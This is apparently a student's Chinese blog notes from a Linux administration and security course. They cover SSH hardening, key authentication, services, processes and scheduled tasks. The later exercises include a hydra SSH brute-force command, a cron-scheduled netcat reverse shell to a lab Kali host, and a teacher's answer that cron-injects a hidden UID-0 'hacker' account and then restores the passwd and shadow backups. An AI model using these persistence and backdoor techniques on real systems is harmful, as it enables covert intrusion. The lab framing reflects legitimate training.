day17-运维基础5

一、SSH远程管理及安全配置

ssh远程登录服务

1.SSH(Secure shell)是一种能够以安全的方式提供远程登录的协议,也是目前远程管理Linux系统的首选方式。想要使用SSH协议来远程管理Linux系统,则需要部署配置SSH服务程序。sshd是基于SSH协议开发的一款远程管理服务程序,不仅使用起来方便快捷,而且提供了以下两种安全验证的方法:

基于口令的验证:用户和密码来验证登录。
基于密钥的验证:使用密钥对来验证登录。
ssh-keygen -t rsa

补充:网络扫描(主机发现)—nmap fping
暴力破解:hydra 美杜莎…
hydra -L user.txt -P pass.txt 192.168.153.128 ssh

2.SSH服务相关的知识

SSH的服务名称:sshd
#systemctl status sshd 查看服务的运行状态
#systemctl stop sshd 停止服务
#systemctl restart sshd 重启服务
#systemctl enable sshd 开机自启
无论什么服务改完配置一定要重启服务
其他服务操作类型

  • SSH服务的配置文件:/etc/ssh/sshd_config
  • SSH服务配置文件中的参数及含义
    Port 22 默认的sshd服务端口
    ListenAddress 0.0.0.0 设定sshd服务监听的IP地址
    Protocol 2 SSH协议的版本号
    HostKey /etc/ssh/ssh_host_key SSH协议版本为1时,DES私解存放的位置
    HostKey /etc/ssh/ssh_host_rsa_key SSH协议版本为2时,RSA私解存放的位置
    HostKey /etc/ssh/ssh_host_dsa_key SSH协议版本为2时,DSA私解存放的位置
    PermitRootLogin yes 设定是否允许root用户直接登录
    StrictModes yes 当远程用户的私钥改变时直接拒绝连接
    MaxAuthTries 6 最大密码尝试次数
    MaxSessions 10 最大终端数
    PasswordAuthentication yes 是否允许密码验证
    PubkeyAuthentication yes 是否允许密钥验证
    PermitEmptyPasswords no 是否允许空密码登录(很不安全)

3.配置案例:更改端口号并限制用户登录

服务器配置:
#vim /etc/ssh/sshd_config
Port 2222
LoginGraceTime 2m //登录验证时间
PermitRootLogin no //禁止root用户登录
MaxAuthTries 3 //最大重试次数
MaxSessions 10 //最大连接数
PermitEmptyPasswords no //禁止空密码用户登录
AllowUsers student stu1@192.168.10.100 //只允许stu1登录,stu2仅在192.16810.100登录
0.0.0.0就是什么ip都可以连接

4.systemctl restart sshd //重启服务

注意:AllowUsers或DenyUsers只允许或禁止某些用户登录用,两者用法类似(不能同时使用)。
客户端登录
#ssh stu1@192.168.10.1

3.课堂作业
为提高Linux系统远程访问安全,请对SSH进行如下安全配置:

  • (1)不允许root用户远程登录。(2分)
    在这里插入图片描述

  • (2)允许student用户在任意终端登录,只允许stu1在192.168.10.1这台主机进行登录。(2分)
    在这里插入图片描述

  • (3)将验证方式改为密钥验证,让student用户登录时只能使用密钥验证方式登录。(6分)
    这里按照要求应该把第一张图片中的密码验证改成no,但是我这里懒得改了。在这里插入图片描述在这里插入图片描述

  • (4)整理nmap工具的使用教程

  • (5)对linux服务器的ssh服务进行暴力破解
    这里有个小问题,如果/etc/ssh/sshd_config的文件内容中加了Allowuser的一行内容,就会乜办法远程登录爆破其他用户,也许只允许allowuser后面的用户才能爆破。在这里插入图片描述- (6)ssh安全加固的方法有哪些? 更改端口、限制用户与IP、限制root使用、限制登录错误次数、关闭客户端记录密码功能、 使用密钥登录、关闭端口转发功能…
    centos更改配置文件/etc/ssh/sshd_config

  • (7)windows xshell ssh 连接centos
    生成密钥对
    ssh-keygen -t rsa
    在这里插入图片描述
    公钥名称要和/etc/ssh/sshd_config中的一样才行
    在这里插入图片描述
    xshell连接
    在这里插入图片描述
    在这里插入图片描述
    这里因为我前面centos中的配置文件密码验证和密钥验证都没改,所以的话都可以使用
    在这里插入图片描述
    导入从centos拿到的私钥,然后连接

在这里插入图片描述

如果这里提示用户未在远程主机上注册的话,可能是因为权限问题

chmod 755 /home/student/
chmod 700 /home/student/.ssh
chmod 600 /home/student/.ssh/authorized_keys
这里还要注意几个点,是公钥改名字成上面这个,不是私钥。然后注意私钥的权限也不要给太高了,还有如果还报错的话就使用-i选项指定目录(私钥在的目录)。
ssh student@192.168.153.131 -i /home/stu/.ssh/111
chmod 600 111

  • (8)利用kali密钥验证连接centos
    在这里插入图片描述

二、服务与进程管理

如何安装操作系统?
u盘–》 下载(大白菜,老毛桃等)—制作启动盘
下载操作系统镜像文件,放到u盘
开机进入BIOS设置启动方式为U盘启动
进入U盘的微系统,安装操作系统

1. inux系统运行级别

运行级别 0:关机模式。poweroff.target
运行级别 1:单用户模式,仅用于 root 用户对系统进行维护时。rescue.target
运行级别 2:多用户模式(没有 NFS)。multi-user.target
运行级别3:完全多用户模式,即多用户文本界面模式,是标准的运行级别。
multi-user.target
运行级别 4:特定运行级别,基本不用的用户模式。multi-user.target
运行级别 5:X11,Linux 系统的图形界面运行级别。graphical.target
运行级别 6:重新启动。reboot.target

runlevel 查看当前运行级别
init 数字
切换回来的话也是一样的

ll -d *.target
默认启动的是5级别
如何修改默认的运行级别呢?
举例:将系统启动的运行级别从 5 修改3
方法一:重新设置链接文件
#rm -rf /etc/systemd/system/default.target
#ln -s /lib/systemd/system/runlevel3.target /etc/systemd/system/default.tart
方法二:使用systemctl 命令
#systemctl set-default runlevel3.target

2.服务的管理

服务的名称:sshd----ssh(22) vsftpd----ftp(21,20)
named----dns(53) httpd—http(80) …
systemctl 命令管理相关的服务
systemctl status sshd 查看服务的状态
systemctl stop sshd 停止服务
systemctl start sshd 启动服务
systemctl restart sshd 重启服务
systemctl enable sshd 设置开机自启(ntsysv 图形化设置,*代表开机自启,空格键切换,退出要用tab键。)
systemctl disable sshd 关闭开机自启
systemctl is-enabled sshd 查看是否开机自启
systemctl list-unit-files 查看系统所有服务
systemcrl list-unit-files --type=service

自行补充:service 命令管理服务(有些老版本的Linux才用)

3.进程的管理

服务与进程有什么区别?
查看进程?
#ps -aux 查看系统中的所有进程
# ps -ef | grep vim 只查看关于vim的进程
#kill PID 杀死进程
#kill -9 PID 强制杀死进程
pstree
top的内容必须会看
top
top -u student 查看student的进程
top -U student 监控student的进程
按Р键:以CPU使用时间进行排序
按M键:以内存使用率排序
按N键:以进程启动时间排序
按A键:以pid排序,按q键退出。

4.进程的前台启动与后台运行

     前台启动:
     后台运行:在运行进程时按CTRL+Z进程将进入后台并停止运行;在运行的进程命令后加上&,进程将进入后台运行。
     利用jobs -l查看后台进程的任务编号
     利用fg任务编号将后台进程调入终端的前台执行
     利用bg任务编号将挂起进程调入后台继续运行

5.at 任务计划:一次性计划任务

     举例:制作一个计划任务,晚上9:00向/root/test.txt文件中写入“hello world”。
#at  9:00
at> echo "hello world" > /root/test.txt
at> <EOT>   按CTRL+D结束
#atq     查看计划任务列表
#at -c  2  查看计划任务2的内容
#atrm 4   删除计划任务4

     将命令写入到一个文件(cmd.txt)中,然后执行: at now -f cmd.txt

案例讲解:root用户,下午5:00有个会议,请制定一个计划 任务提醒root。

#at now 16:50
warning: commands will be executed using /bin/sh
at> echo “I have a metting 17:00”>/dev/pts/0
at>

ctrl +d退出

6.crontab任务计划:周期性计划任务

格式:crontab –u user {-e | -l | -r}
-u:为指定的用户设置计划任务
-e:编辑计划任务列表
-l:查看指定用户的计划任务列表,默认为当前用户
-r:删除用户的计划任务列表
任务列表文件的格式:minute hour day month day-of-the-week run_command
任务计划文件存储位置: /var/spool/cron/

设置centos7时间:timedatectl set-time “2024-07-25 11:59”

  1. 制定一个计划,在指定时间将对应文件复制到另一个目录下。文件名要有日期格式
mkdir /logbak
cd /logbak
vim cp.sh
/usr/bin/cp /var/log/messages /logbak/`date + %Y%m%d_%H%M`-messageslog
crontab -e 
0 23 * *  7 /usr/bin/bash /logbak/cp.sh

0-59 * * * * /usr/bin/cp /var/log/messages /logbak/`date +%Y%m%d-%H%M`-messages
timedatectl set-time "2024-07-28 23:01"
0 23 * * 7/usr/bin/cp /var/log/messages /logbak/`date +%Y%m%d-%H%M`-messages
两个问题。
日期格式貌似有问题,crontab不能执行。还有分钟我这个好像也不能执行,但是*可以
直接使用at使用都可以,但是使用crontab有日期格式就不行。以及分钟不写*也不行。

在这里插入图片描述
2.我们已经暂时得到了目标机的shell,然后我们打算通过计划让目标机每隔一分钟反弹shell连接到kali机。然后在kali机器使用用户生成密钥文件,并将公钥通过远程复制到目标机器的root用户目录下,以便权限维持。

nc -lvp 9999
nc -e /bin/bash 192.168.153.129 9999
scp root@192.168.153.129:/root/.ssh/authorized_keys /root/.ssh/authorized_keys
scp zhang@192.168.153.129:/home/zhang/authorized_key /root/.ssh/authorized_keys
ssh root@182.168.153.131 

这里有几个问题,得到shell之后,然后通过crontab去设定计划执行,然后nc反弹shell。
第一个问题,反弹shell之后,kali得到了root的控制权限,这个时候我们使用scp命令在kali反弹得到的shell中没有办法输入密码,也就没有办法继续将公钥文件传输到/root/.ssh的用户下面。
第二个问题,好像用其他机器scp从kali传输到目标机器root身份被禁止了。这里还没有查相关资料和配置。我然后用了普通身份,将公钥通过普通身份上传到root下的.ssh中可以。```

3.假设你通过漏洞的得到shell,现在请你制定任务计划表,为了维持权限,在指定时间内建立一个管理员,并设置密码。然后在指定的时间删除。

```bash
cd /root
vim ssh.sh           #创建管理员和设置密码

useradd student
passwd student

vim cmd.sh          #删除管理员和设置密码 


crontab -e
0 12 * * * /usr/bin/bash /root/ssh.sh
30 12 * * * /usr/bin/bash /root/cmd.sh

老师的答案
建立管理员账号:
echo "hacker:x:0:0::/:/bin/bash" >> /etc/passwd
echo "hacker::9999:0:99999:7:::" >> /etc/shadow
echo "123456" | passwd --stdin hacker &>/dev/null



计划任务:
0 15 * * * cat /etc/passwd > /dev/pw.bak
0 15 * * * cat /etc/shadow > /dev/sd.bak
1 15 * * * echo "hacker:x:0:0::/:/bin/bash" >> /etc/passwd
1 15 * * * echo "hacker::9999:0:99999:7:::" >> /etc/shadow
30 15 * * * cat /dev/pw.bak > /etc/passwd
30 15 * * * cat /dev/sd.bak > /etc/shadow
31 15 * * * rm -rf /dev/pw.bak
31 15 * * * rm -rf /dev/sd.bak


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值